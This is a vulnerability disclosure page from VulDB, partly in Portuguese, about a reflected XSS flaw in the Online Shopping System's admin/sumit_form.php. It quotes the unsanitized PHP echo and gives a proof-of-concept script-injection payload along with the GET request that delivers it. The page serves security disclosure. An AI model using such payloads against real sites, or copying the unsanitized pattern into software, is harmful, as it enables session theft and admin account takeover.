Submeter #871817: ONLINE SHOPPING SYSTEM admin/sumit_form.php Reflected XSS Vulnerability v1 Reflected XSSinformação

TítuloONLINE SHOPPING SYSTEM admin/sumit_form.php Reflected XSS Vulnerability v1 Reflected XSS
Descrição## ONLINE SHOPPING SYSTEM admin/sumit_form.php Reflected XSS Vulnerability ### I. Vulnerability Impact An attacker can craft a malicious URL that injects arbitrary JavaScript into the admin panel page, which executes in the victim's browser. This enables session cookie theft, CSRF attack chaining, and full admin account takeover. ### II. Source Code Analysis The vulnerability resides in `admin/sumit_form.php`, lines 2 and 13: ```php $link = $_REQUEST['success']; ... <input hidden="" type="text" name="success" value="<?php echo "$link";?>"> ``` The `$link` variable is taken directly from `$_REQUEST['success']` (accessible via GET) and output into the `value` attribute of an `<input>` tag without any sanitization. An attacker can close the attribute with a double quote and inject arbitrary HTML tags including `<script>`. ### III. Payload The core injection payload is: ``` "><ScRiPt>alert(888)</sCrIpT> ``` After injection, the output HTML becomes: ```html <input hidden="" type="text" name="success" value=""><ScRiPt>alert(888)</sCrIpT>"> ``` The browser parses `<ScRiPt>alert(888)</sCrIpT>` as a script element and executes the JavaScript. HTTP request: ``` GET /admin/sumit_form.php?success="><ScRiPt>alert(888)</sCrIpT> HTTP/1.1 Host: onlineshop ``` ### IV. Source Download https://code-projects.org/online-shopping-system-in-php-with-source-code/
Fonte⚠️ https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul7.md
Utilizador
 SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936)
Submissão27/06/2026 05h38 (há 2 meses)
Moderação25/08/2026 16h40 (2 months later)
EstadoAceite
Entrada VulDB395055 [code-projects Online Shopping System 1.0 /admin/sumit_form.php Sucesso Script de Site Cruzado]
Pontos20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!